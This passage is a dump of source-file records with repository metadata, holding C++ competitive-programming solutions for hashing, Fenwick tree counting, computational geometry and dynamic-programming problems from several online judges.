\"\\n\";\n}\n" }, { "alpha_fraction": 0.43018868565559387, "alphanum_fraction": 0.4867924451828003, "avg_line_length": 22.84375, "blob_id": "f9f65091476bb1138dc369e46151fea3065bdba1", "content_id": "dd9d05ec2d4d4cd73758b7d853fa2d7e65972655", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2385, "license_type": "no_license", "max_line_length": 93, "num_lines": 96, "path": "/COJ/eliogovea-cojAC/eliogovea-p3667-Accepted-s959377.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD1 = 1000000007;\r\nconst int MOD2 = 1000000047;\r\n\r\nconst int BASE1 = 59;\r\nconst int BASE2 = 67;\r\n\r\ninline void add(int &a, int b, const int MOD) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b, const int MOD) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nconst int N = 2000005;\r\n\r\nint POW1[N], POW2[N];\r\nint HASH1[N], HASH2[N];\r\n\r\ninline int getHASH(int *HASH, int *POW, int s, int e, const int MOD) {\r\n\tint res = HASH[e];\r\n\tadd(res, MOD - mul(HASH[s], POW[e - s], MOD), MOD);\r\n\treturn res;\r\n}\r\n\r\ninline int val(char ch) {\r\n\tif (ch >= 'a' && ch <= 'z') {\r\n\t\treturn ch - 'a' + 1;\r\n\t}\r\n\treturn 1 + 'z' - 'a' + ch - 'A' + 1;\r\n}\r\n\r\nint pattHASH1[2500];\r\nint pattHASH2[2500];\r\n\r\nint n;\r\nstring s;\r\nchar ans[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tPOW1[0] = POW2[0] = 1;\r\n\r\n\tfor (int i = 1; i < N; i++) {\r\n POW1[i] = mul(POW1[i - 1], BASE1, MOD1);\r\n POW2[i] = mul(POW2[i - 1], BASE2, MOD2);\r\n\t}\r\n\r\n\tcin >> n;\r\n\tint size = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s;\r\n\t\tif (i == 0) {\r\n\t\t\tsize = s.size();\r\n\t\t\tfor (int j = 1; j <= s.size(); j++) {\r\n\t\t\t\tans[j - 1] = s[j - 1];\r\n\t\t\t\tHASH1[j] = mul(HASH1[j - 1], BASE1, MOD1); add(HASH1[j], val(s[j - 1]), MOD1);\r\n\t\t\t\tHASH2[j] = mul(HASH2[j - 1], BASE2, MOD2); add(HASH2[j], val(s[j - 1]), MOD2);\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint len = 0;\r\n\t\tfor (int j = 1; j <= s.size(); j++) {\r\n\t\t\tpattHASH1[j] = mul(pattHASH1[j - 1], BASE1, MOD1); add(pattHASH1[j], val(s[j - 1]), MOD1);\r\n\t\t\tpattHASH2[j] = mul(pattHASH2[j - 1], BASE2, MOD2); add(pattHASH2[j], val(s[j - 1]), MOD2);\r\n\t\t\tif (pattHASH1[j] == getHASH(HASH1, POW1, size - j, size, MOD1)\r\n\t\t\t\t\t&& pattHASH2[j] == getHASH(HASH2, POW2, size - j, size, MOD2)) {\r\n\t\t\t\t\t\tlen = j;\r\n\t\t\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = len; j < s.size(); j++) {\r\n\t\t\tint pos = size + (j - len) + 1;\r\n\t\t\tans[pos - 1] = s[j];\r\n\t\t\t//cout << pos << \" \" << s[j] << \"\\n\";\r\n\t\t\tHASH1[pos] = mul(HASH1[pos - 1], BASE1, MOD1); add(HASH1[pos], val(s[j]), MOD1);\r\n\t\t\tHASH2[pos] = mul(HASH2[pos - 1], BASE2, MOD2); add(HASH2[pos], val(s[j]), MOD2);\r\n\t\t}\r\n\t\tsize = size + (s.size() - len);\r\n\t\t//ans[size] = 0;\r\n\t\t//cout << i << \" \" << s << \"\\n\";\r\n\t\t//cout << len << \"\\n\";\r\n\t\t//cout << size << \"\\n\";\r\n\t\t//cout << ans << \"\\n\";\r\n\t}\r\n\tans[size] = 0;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.42177915573120117, "alphanum_fraction": 0.44631901383399963, "avg_line_length": 11.93617057800293, "blob_id": "acd5a1be530b3b540b32dac459018dc57af59870", "content_id": "bc82b45ec2c1c0f65185ec443455c0560eb26191", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 652, "license_type": "no_license", "max_line_length": 30, "num_lines": 47, "path": "/Timus/1028-6291413.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1028\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 32005;\r\n\r\nint n;\r\nint x[N], y[N];\r\n\r\nint ans[N];\r\n\r\nint bit[N];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= N) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tx[i]++;\r\n\t\tint tmp = query(x[i]);\r\n\t\tans[tmp]++;\r\n\t\tupdate(x[i], 1);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << ans[i] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.355112224817276, "alphanum_fraction": 0.37107232213020325, "avg_line_length": 15.901785850524902, "blob_id": "5ae2477efb1753e57387bb519195eaf5e245ac9d", "content_id": "685dc93a1dd18040cc860dbc772791a0b4fba79e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2005, "license_type": "no_license", "max_line_length": 60, "num_lines": 112, "path": "/COJ/eliogovea-cojAC/eliogovea-p3039-Accepted-s1011463.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst int N = 2005;\r\n\r\nint n;\r\nLL X1[N], X2[N], Y1[N], Y2[N];\r\nLL a[N], b[N], c[N];\r\n\r\ninline LL abs(LL n) {\r\n if (n < 0) n = -n;\r\n return n;\r\n}\r\n\r\n// (a, b) -> (b, a % b)\r\ninline LL gcd(LL a, LL b) {\r\n\tLL tmp;\r\n\twhile (b) {\r\n\t\ttmp = a % b;\r\n\t\ta = b;\r\n\t\tb = tmp;\r\n\t}\r\n\treturn a;\r\n}\r\n\r\nstruct data {\r\n\tLL a, b;\r\n\tLL n, d;\r\n};\r\n\r\nbool operator < (const data &a, const data &b) {\r\n\tif (a.a != b.a) return a.a < b.a;\r\n\tif (a.b != b.b) return a.b < b.b;\r\n\tif (a.n != b.n) return a.n < b.n;\r\n\treturn a.d < b.d;\r\n}\r\n\r\nmap <data, int> M;\r\nmap <data, int>::iterator it;\r\n\r\ndata tmp;\r\nLL dx, dy, num, den, aa, bb, g;\r\n\r\nint main() {\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tscanf(\"%d\", &n);\r\n\tLL ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%lld%lld%lld%lld\", X1 + i, Y1 + i, X2 + i, Y2 + i);\r\n\t\tdx = X2[i] - X1[i];\r\n\t\tdy = Y2[i] - Y1[i];\r\n\t\ta[i] = dy;\r\n\t\tb[i] = -dx;\r\n\t\tc[i] = a[i] * X1[i] + b[i] * Y1[i];\r\n\t\tg = gcd(abs(a[i]), gcd(abs(b[i]), abs(c[i])));\r\n\t\tif (g != 0) {\r\n\t\t\ta[i] /= g;\r\n\t\t\tb[i] /= g;\r\n\t\t\tc[i] /= g;\r\n\t\t}\r\n\t\tif (a[i] < 0) {\r\n\t\t\ta[i] = -a[i]; b[i] = -b[i]; c[i] = -c[i];\r\n\t\t} else if (a[i] == 0) {\r\n\t\t\tif (b[i] < 0) {\r\n\t\t\t\tb[i] = -b[i]; c[i] = -c[i];\r\n\t\t\t} else if (b[i] == 0) {\r\n\t\t\t\tif (c[i] < 0) {\r\n\t\t\t\t\tc[i] = -c[i];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tif (a[i] == a[j] && b[i] == b[j]) {\r\n\t\t\t\tnum = abs(c[i] - c[j]);\r\n\t\t\t\tden = a[i] * a[i] + b[i] * b[i];\r\n\t\t\t\tg = gcd(num, den);\r\n\t\t\t\tif (g != 0) {\r\n\t\t\t\t\tnum /= g;\r\n\t\t\t\t\tden /= g;\r\n\t\t\t\t}\r\n\r\n\t\t\t\taa = -b[i];\r\n\t\t\t\tbb = a[i];\r\n\t\t\t\tif (aa < 0) {\r\n\t\t\t\t\taa = -aa; bb = -bb;\r\n\t\t\t\t} else if (a == 0) {\r\n\t\t\t\t\tif (bb < 0) {\r\n\t\t\t\t\t\tbb = -bb;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\ttmp.a = aa;\r\n\t\t\t\ttmp.b = bb;\r\n\t\t\t\ttmp.n = num;\r\n\t\t\t\ttmp.d = den;\r\n\t\t\t\tit = M.find(tmp);\r\n\t\t\t\tif (it != M.end()) {\r\n\t\t\t\t\tans += it->second;\r\n\t\t\t\t}\r\n\t\t\t\ttmp.a = a[i];\r\n\t\t\t\ttmp.b = b[i];\r\n\t\t\t\ttmp.n = num;\r\n\t\t\t\ttmp.d = den;\r\n\t\t\t\tM[tmp]++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tprintf(\"%lld\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.5655282139778137, "alphanum_fraction": 0.5762509703636169, "avg_line_length": 22.75, "blob_id": "68afe9d9356a027dfc975873ed651b7521b5694b", "content_id": "a2515123dbfb968fea975f39f259d4e74ebb1d00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5036, "license_type": "no_license", "max_line_length": 109, "num_lines": 212, "path": "/Aizu/CGL_5_A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/*\n\tGeometry Template\n\tdouble !!!\n\tTODO: test everything!!!\n*/\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double INF = 1e17;\nconst double EPS = 1e-9;\nconst double PI = 2.0 * asin(1);\n\ninline bool is_in(double a, double b, double x) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a - EPS <= x && x <= b + EPS);\n}\n\nstruct point {\n\tdouble x, y;\n\tpoint() {}\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n\tif (abs(P.y - Q.y) > EPS) {\n\t\treturn P.y < Q.y;\n\t}\n\tif (abs(P.x - Q.x) > EPS) {\n\t\treturn P.x < Q.x;\n\t}\n\treturn false;\n}\n\nstruct compare_by_x {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (abs(P.x - Q.x) > EPS) {\n\t\t\treturn P.x < Q.x;\n\t\t}\n\t\treturn P.y < Q.y;\n\t}\n};\n\nstruct compare_by_y {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (abs(P.y - Q.y) > EPS) {\n\t\t\treturn P.y < Q.y;\n\t\t}\n\t\treturn P.x < Q.x;\n\t}\n};\ninline void read(point &P) {\n\tcin >> P.x >> P.y;\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const double k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const double k) {\n\tassert(fabs(k) > EPS);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline double dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline double cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline double norm2(const point &P) {\n\treturn dot(P, P);\n}\n\ninline double norm(const point &P) {\n\treturn sqrt(dot(P, P));\n}\n\ninline double dist2(const point &P, const point &Q) {\n\treturn norm2(P - Q);\n}\n\ninline double dist(const point &P, const point &Q) {\n\treturn sqrt(dot(P - Q, P - Q));\n}\n\ninline bool is_in(point A, point B, point P) {\n\tif (abs(cross(B - A, P - A)) > EPS) {\n\t\treturn false;\n\t}\n\treturn (is_in(A.x, B.x, P.x) && is_in(A.y, B.y, P.y));\n}\n\n\ninline point project(const point &P, const point &P1, const point &P2) {\n\treturn P1 + (P2 - P1) * (dot(P2 - P1, P - P1) / norm2(P2 - P1));\n}\n\ninline point reflect(const point &P, const point &P1, const point &P2) {\n\treturn project(P, P1, P2) * 2.0 - P;\n}\n\ninline double point_to_line(const point &P, const point &A, const point &B) {\n\t// return abs(cross(B - A, C - A) / norm(B - A));\n\treturn dist(P, project(P, A, B));\n}\n\n// line to line intersection\n// A, B difine the first line\n// C, D define the second line\ninline point intersect(const point &A, const point &B, const point &C, const point &D) {\n\treturn A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\n}\n\ninline point rotate_point(const point &P, double angle) {\n\treturn point(P.x * cos(angle) - P.y * sin(angle), P.y * cos(angle) + P.x * sin(angle));\n}\n\ninline point circle_center(const point &A, const point &B, const point &C) {\n\tassert(abs(cross(B - A, C - A)) > EPS); // no colinear\n\treturn intersect((A + B) / 2.0, (A + B) / 2.0 + rotate_point(B - A, PI),\n\t\t\t\t\t\t\t\t\t (B + C) / 2.0, (B + C) / 2.0 + rotate_point(C - B, PI));\n}\n\ninline pair <point, point> point_circle_tangent(const point &P, const point &C, const double r) {\n\tdouble d = dist(P, C);\n\tdouble l = sqrt(d * d - r * r);\n\tdouble a = asin(r / d);\n\treturn make_pair(P + rotate_point((C - P) * (l / d), a), P + rotate_point((C - P) * (l / d), -a));\n}\n\ninline vector <point> line_circle_intersect(const point &A, const point &B, const point &C, const double r) {\n\tpoint PC = project(C, A, B);\n\tdouble d = dist(C, PC);\n\tif (d > r + EPS) {\n\t\treturn vector <point> ();\n\t}\n\tif (abs(d - r) < EPS) {\n\t\treturn vector <point> (1, PC);\n\t}\n\tdouble l = sqrt(r * r - d * d);\n\tvector <point> res(2);\n\tdouble dAB = dist(A, B);\n\tres[0] = PC + (B - A) * (l / dAB);\n\tres[1] = PC - (B - A) * (l / dAB);\n\treturn res;\n}\n\ninline double signed_area(const vector <point> &polygon) {\n\tdouble res = 0.0;\n\tint n = polygon.size();\n\tfor (int i = 0; i < n; i++) {\n\t\tint j = (i + 1 == n) ? 0 : i + 1;\n\t\tres += cross(polygon[i], polygon[j]);\n\t}\n\treturn 0.5 * res;\n}\n\ninline double abs_area(const vector <point> &polygon) {\n\treturn abs(signed_area(polygon));\n}\n\ninline double closest_pair_of_points(vector <point> pts) {\n\tsort(pts.begin(), pts.end(), compare_by_x());\n\tmultiset <point> candidates;\n\tint n = pts.size();\n\tdouble res = INF;\n\tfor (int i = 0, last = 0; i < n; i++) {\n\t\twhile (last < i && pts[i].x - pts[last].x >= res + EPS) {\n\t\t\tcandidates.erase(candidates.find(pts[last]));\n\t\t\tlast++;\n\t\t}\n\t\tset <point> :: iterator lo = candidates.lower_bound(point(-INF, pts[i].y - res - EPS));\n\t\tset <point> :: iterator hi = candidates.upper_bound(point(INF, pts[i].y + res + EPS));\n\t\twhile (lo != hi) {\n\t\t\tres = min(res, dist(pts[i], *lo));\n\t\t\tlo++;\n\t\t}\n\t\tcandidates.insert(pts[i]);\n\t}\n\treturn res;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(15);\n\n\tint n;\n\tcin >> n;\n\n\tvector <point> pts(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y;\n\t}\n\n\tdouble answer = closest_pair_of_points(pts);\n\tcout << fixed << answer << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.40576496720314026, "alphanum_fraction": 0.4301552176475525, "avg_line_length": 15.423076629638672, "blob_id": "e176ece0b912aa9bbb9584cd4d2d867765c73eb6", "content_id": "1caad0ecf50f1fe79d496984f6e3c7c74c0287ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 451, "license_type": "no_license", "max_line_length": 36, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p1083-Accepted-s545610.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#define MAXN 1000010\r\nusing namespace std;\r\n\r\nint k,l,m;\r\nbool dp[MAXN];\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d%d\",&k,&l,&m);\r\n\r\n for(int i=0; i<MAXN; i++)\r\n {\r\n if(i+1<MAXN)dp[i+1]|=!dp[i];\r\n if(i+l<MAXN)dp[i+l]|=!dp[i];\r\n if(i+k<MAXN)dp[i+k]|=!dp[i];\r\n }\r\n\r\n for(int i=1,x; i<=m; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n printf(\"%c\",dp[x]?'A':'B');\r\n }\r\n printf(\"\\n\");\r\n}" }, { "alpha_fraction": 0.3715469539165497, "alphanum_fraction": 0.3936464190483093, "avg_line_length": 18.567567825317383, "blob_id": "9136db2da3920af15cd39cbc4f97d5b3291b3685", "content_id": "e2e8d6697797dad4cb8552ac529cb37e8488469c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 724, "license_type": "no_license", "max_line_length": 58, "num_lines": 37, "path": "/TOJ/1633.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\nint tc;\nstring a, b, c;\nbool dp[205][205];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> tc;\n\tfor (int cas = 1; cas <= tc; cas++) {\n\t\tcin >> a >> b >> c;\n\t\tfor (int i = 0; i <= a.size(); i++) {\n\t\t\tfor (int j = 0; j <= b.size(); j++) {\n\t\t\t\tdp[i][j] = false;\n\t\t\t}\n\t\t}\n\t\tdp[0][0] = true;\n\t\tfor (int i = 0; i <= a.size(); i++) {\n\t\t\tfor (int j = 0; j <= b.size(); j++) {\n\t\t\t\tif (dp[i][j]) {\n\t\t\t\t\tif (i < a.size() && a[i] == c[i + j]) {\n\t\t\t\t\t\tdp[i + 1][j] = true;\n\t\t\t\t\t}\n\t\t\t\t\tif (j < b.size() && b[j] == c[i + j]) {\n\t\t\t\t\t\tdp[i][j + 1] = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcout << \"Data set \" << cas << \": \";\n\t\tcout << (dp[a.size()][b.size()] ? \"yes\" : \"no\") << \"\\n\";\n\t}\n\n}\n" }, { "alpha_fraction": 0.4119403064250946, "alphanum_fraction": 0.4298507571220398, "avg_line_length": 15.631579399108887, "blob_id": "6106f3caad38b8fa0e59bf0016aa0b9f12e8ff0d", "content_id": "0bfcbb1fa0734778ccea640da9bab8e8d9937b6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 335, "license_type": "no_license", "max_line_length": 57, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2761-Accepted-s621002.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n, sol;\r\nstring ini, fin;\r\n\r\nint main()\r\n{\r\n cin >> n;\r\n for (int i = 0; i < n; i++) {\r\n cin >> ini;\r\n int vini = (ini[0] - 'A' + 1 + ini[1] - '0') & 1;\r\n if (vini) sol++;\r\n else sol--;\r\n }\r\n cout << abs(sol) << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3965141475200653, "alphanum_fraction": 0.42411038279533386, "avg_line_length": 20.515625, "blob_id": "45d8fa2d903ec213fbb1e164f214289f2673a324", "content_id": "285c005bebd535da4351889101a3a40470d251ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1377, "license_type": "no_license", "max_line_length": 100, "num_lines": 64, "path": "/Codeforces-Gym/100507 - 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Eastern Subregional Contest\n// 100507D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n\tint m, a1, a2;\n\tcin >> m >> a1 >> a2;\n\tint n;\n\tcin >> n;\n\tvector <int> mf(n), af(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> mf[i] >> af[i];\n\t}\n\tint r;\n\tcin >> r;\n\tvector <int> rooms(r), mr(r), ar(r);\n\tfor (int i = 0; i < r; i++) {\n\t\tcin >> rooms[i] >> mr[i] >> ar[i];\n\t}\n\tint ansA = -1;\n\tint idF;\n\tint idR;\n\tfor (int rr = 0; rr < r; rr++) {\n int a = a1;\n if (rooms[rr] == 2) {\n a = a2;\n }\n if (m >= mr[rr]) {\n if (ansA == -1 || ansA < ar[rr] + a) {\n ansA = ar[rr] + a;\n idR = rr;\n idF = -1;\n }\n }\n\t\tif (rooms[rr] == 2) {\n\t\t\tfor (int ff = 0; ff < n; ff++) {\n\t\t\t\tif (2 * m >= mr[rr] && 2 * mf[ff] >= mr[rr]) {\n\t\t\t\t\tif (ansA == -1 || ansA < ar[rr] + af[ff]) {\n\t\t\t\t\t\tansA = ar[rr] + af[ff];\n\t\t\t\t\t\tidR = rr;\n\t\t\t\t\t\tidF = ff;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif (ansA == -1) {\n\t\tcout << \"Forget about apartments. Live in the dormitory.\\n\";\n\t} else {\n\t\tif (idF == -1) {\n\t\t\tcout << \"You should rent the apartment #\" << idR + 1 << \" alone.\\n\";\n\t\t} else {\n\t\t\tcout << \"You should rent the apartment #\" << idR + 1 << \" with the friend #\" << idF + 1 << \".\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.4011220335960388, "alphanum_fraction": 0.4193548262119293, "avg_line_length": 18.97058868408203, "blob_id": "8ea59d20577621e0ccb6e998269be562e07dc36f", "content_id": "33a8c163a3a9911fd2f38da34981add9f40d5c0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 713, "license_type": "no_license", "max_line_length": 64, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2859-Accepted-s624047.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint td, n, sol;\r\nvector<pair<int, int> > v;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &td);\r\n\twhile (td--) {\r\n\t\tscanf(\"%d\", &n);\r\n\t\tv.clear();\r\n\t\tsol = 0;\r\n\t\tfor (int i = 0, a, b; i < n; i++) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tv.push_back(make_pair(a, b));\r\n\t\t}\r\n\t\tsort(v.begin(), v.end());\r\n\t\tif (n == 0) printf(\"0\\n\");\r\n\t\telse if (n == 1) printf(\"%d\\n\", v[0].second - v[0].first + 1);\r\n\t\telse {\r\n\t\t\tint a = v[0].first, b = v[0].second;\r\n\t\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\t\tif (v[i].first <= b) b = max(b, v[i].second);\r\n\t\t\t\telse {\r\n\t\t\t\t\tsol += b - a + 1;\r\n\t\t\t\t\ta = v[i].first;\r\n\t\t\t\t\tb = v[i].second;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tsol += b - a + 1;\r\n\t\t\tprintf(\"%d\\n\", sol);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3347027599811554, "alphanum_fraction": 0.3620106279850006, "avg_line_length": 26.045751571655273, "blob_id": "2fc8f6831c87649415039a4858b31ebfd5f8d46f", "content_id": "83e84b8467ae69e30126d120c5c1755e51754c96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4138, "license_type": "no_license", "max_line_length": 106, "num_lines": 153, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/000271.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-9;\n\nstruct point {\n double x, y;\n point(double _x = 0, double _y = 0) {\n x = _x;\n y = _y;\n }\n};\n\npoint operator + (const point & P, const point & Q) {\n return point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point & P, const point & Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point & P, double k) {\n return point(k * P.x, k * P.y);\n}\n\ninline double dot(const point & P, const point & Q) {\n return P.x * Q.x + P.y * Q.y;\n}\n\ninline double cross(const point & P, const point & Q) {\n return P.x * Q.y - P.y * Q.x;\n}\n\ninline double dist(const point & P, const point & Q) {\n return sqrt(dot(P - Q, P - Q));\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int a, b, c;\n cin >> a >> b >> c;\n\n vector <point> pts = {point(0, 0), point(c, 0), point(a, b)};\n\n double area = -abs(0.5 * cross(pts[1] - pts[0], pts[2] - pts[0]));\n\n double len = dist(pts[0], pts[1]) + dist(pts[1], pts[2]) + dist(pts[2], pts[0]);\n\n for (int i = 0; i < 3; i++) {\n {\n point P = pts[i];\n point A = pts[i];\n point B = pts[(i + 1) % 3];\n point C = pts[(i + 2) % 3];\n\n point v1 = (B - A) * (1.0 / dist(B, A));\n point v2 = (C - B) * (1.0 / dist(C, B));\n\n double tQ = (0.5 * len - dist(A, B));\n point Q = B + v2 * tQ;\n\n double a = v2.x * v1.y - v2.y * v1.x;\n double b = -v2.x * (B.y - P.y) - v1.y * (B.x - Q.x) + v2.y * (B.x - P.x) + v1.x * (B.y - Q.y);\n double c = (B.x - Q.x) * (B.y - Q.y) - (B.x - P.x) * (B.y - Q.y) - area;\n\n double d2 = b * b - 4.0 * a * c;\n\n if (d2 < -EPS) {\n continue;\n }\n\n double t1 = (-b - sqrt(d2)) / (2.0 * a);\n double t2 = (-b + sqrt(d2)) / (2.0 * a);\n\n double maxt = min(dist(A, B), dist(Q, C));\n\n if (-EPS <= t1 && t1 <= maxt + EPS) {\n point PP = P + v1 * t1;\n point QQ = Q + v2 * t1;\n\n cout << fixed << PP.x << \" \" << fixed << PP.y << \"\\n\";\n cout << fixed << QQ.x << \" \" << fixed << QQ.y << \"\\n\";\n\n return 0;\n }\n\n if (-EPS <= t2 && t2 <= maxt + EPS) {\n point PP = P + v1 * t2;\n point QQ = Q + v2 * t2;\n\n cout << fixed << PP.x << \" \" << fixed << PP.y << \"\\n\";\n cout << fixed << QQ.x << \" \" << fixed << QQ.y << \"\\n\";\n\n return 0;\n }\n }\n/*\n {\n point P = pts[i];\n point A = pts[i];\n point B = pts[(i + 1) % 3];\n point C = pts[(i + 2) % 3];\n\n point v1 = (C - A) / dist(C, A);\n point v2 = (B - C) / dist(C, B);\n\n double tQ = (0.5 * len - dist(A, C));\n point Q = C + v2 * tQ;\n\n double a = v2.x * v1.y - v2.y * v1.x;\n double b = -v2.x * (B.y - P.y) - v1.y * (B.x - Q.x) + c2.y * (B.x - P.x) + v1.x * (B.y - Q.y);\n double c = (B.x - Q.x) * (B.y - Q.y) - (B.x - P.x) * (B.x - Q.x);\n\n double d2 = b * b - 4.0 * a * c;\n\n if (d2 < -EPS) {\n continue;\n }\n\n double t1 = (-b - sqrt(d2)) / (2.0 * a);\n double t2 = (-b + sqrt(d2)) / (2.0 * a);\n\n double maxt = min(dist(A, C), dist(Q, B));\n\n if (-EPS <= t1 && t1 <= maxt) {\n point PP = P + t1 * v1;\n point QQ = Q + t1 * v2;\n\n cout << fixed << PP.x << \" \" << fixed << PP.y << \"\\n\";\n cout << fixed << QQ.x << \" \" << fixed << QQ.y << \"\\n\";\n\n return 0;\n }\n\n if (-EPS <= t2 && t2 <= maxt) {\n point PP = P + t2 * v1;\n point QQ = Q + t2 * v2;\n\n cout << fixed << PP.x << \" \" << fixed << PP.y << \"\\n\";\n cout << fixed << QQ.x << \" \" << fixed << QQ.y << \"\\n\";\n\n return 0;\n }\n }\n*/\n\n }\n}\n" }, { "alpha_fraction": 0.38478583097457886, "alphanum_fraction": 0.41358935832977295, "avg_line_length": 15.649351119995117, "blob_id": "7fe2a1eca42773046e6ced4011f8ad7c04518367", "content_id": "9959f2dae45104343beed3a59910f2f021dfae06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1354, "license_type": "no_license", "max_line_length": 59, "num_lines": 77, "path": "/Timus/1846-6173338.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: 